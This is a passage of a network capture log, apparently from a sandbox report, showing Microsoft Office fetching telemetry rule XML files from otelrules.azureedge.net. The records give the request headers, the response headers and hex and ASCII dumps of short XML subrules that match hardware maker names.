2024-11-10 18:44:59 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:59 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 7f7db364-701e-005c-2f05-2dbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184459Z-16547b76f7fxsvjdhC1DFWprrs0000000cu000000000qxq5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:44:59 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:59 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:44:59 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:59 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 6bd3c087-001e-000b-13fd-2c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184459Z-16547b76f7f9bs6dhC1DFWt3rg0000000d0000000000ak5n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:44:59 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:00 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:00 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 9f11ee7d-201e-0096-73f2-2cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184500Z-16547b76f7fxdzxghC1DFWmf7n0000000d3000000000ehnr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:00 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:00 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:00 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: d33e01be-001e-0082-0958-2e5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184500Z-15869dbbcc6qwghvhC1DFWssds0000000a00000000008n8h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:00 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:00 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:00 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:00 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: cc46dee9-d01e-007a-0efd-2cf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184500Z-16547b76f7fx6rhxhC1DFW76kg0000000d100000000085bp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:00 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:00 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:00 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 764b7f95-c01e-00a1-1c00-2d7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184500Z-16547b76f7f67wxlhC1DFWah9w0000000d0000000000bcm1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:00 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:00 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:00 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 109c2277-e01e-0052-20be-31d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184500Z-15869dbbcc6b2ncxhC1DFWu4ss00000003h000000000gsd3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:00 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:01 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:01 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:01 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 1a22e024-c01e-0082-3559-31af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184501Z-17df447cdb5rnd49hC1DFWgmpw00000003pg0000000090r1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-10 18:45:01 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:01 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:01 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 1391a0e3-601e-0070-507b-31a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184501Z-17df447cdb5qkskwhC1DFWeeg400000009p0000000006bge x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:01 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:01 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:01 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: c2a9af2b-801e-00ac-2445-32fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184501Z-17df447cdb5vp9l9hC1DFW5hw800000005200000000012x7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:01 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:01 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:01 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:01 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: d92822fd-901e-0048-0b55-2eb800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184501Z-17df447cdb5c9wvxhC1DFWn08n00000009m000000000bhhw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:01 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:01 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:01 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 6164f0e5-d01e-0082-285f-32e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184501Z-15869dbbcc65c582hC1DFWgpv400000006v00000000062k0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:01 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49795	13.107.246.45	443

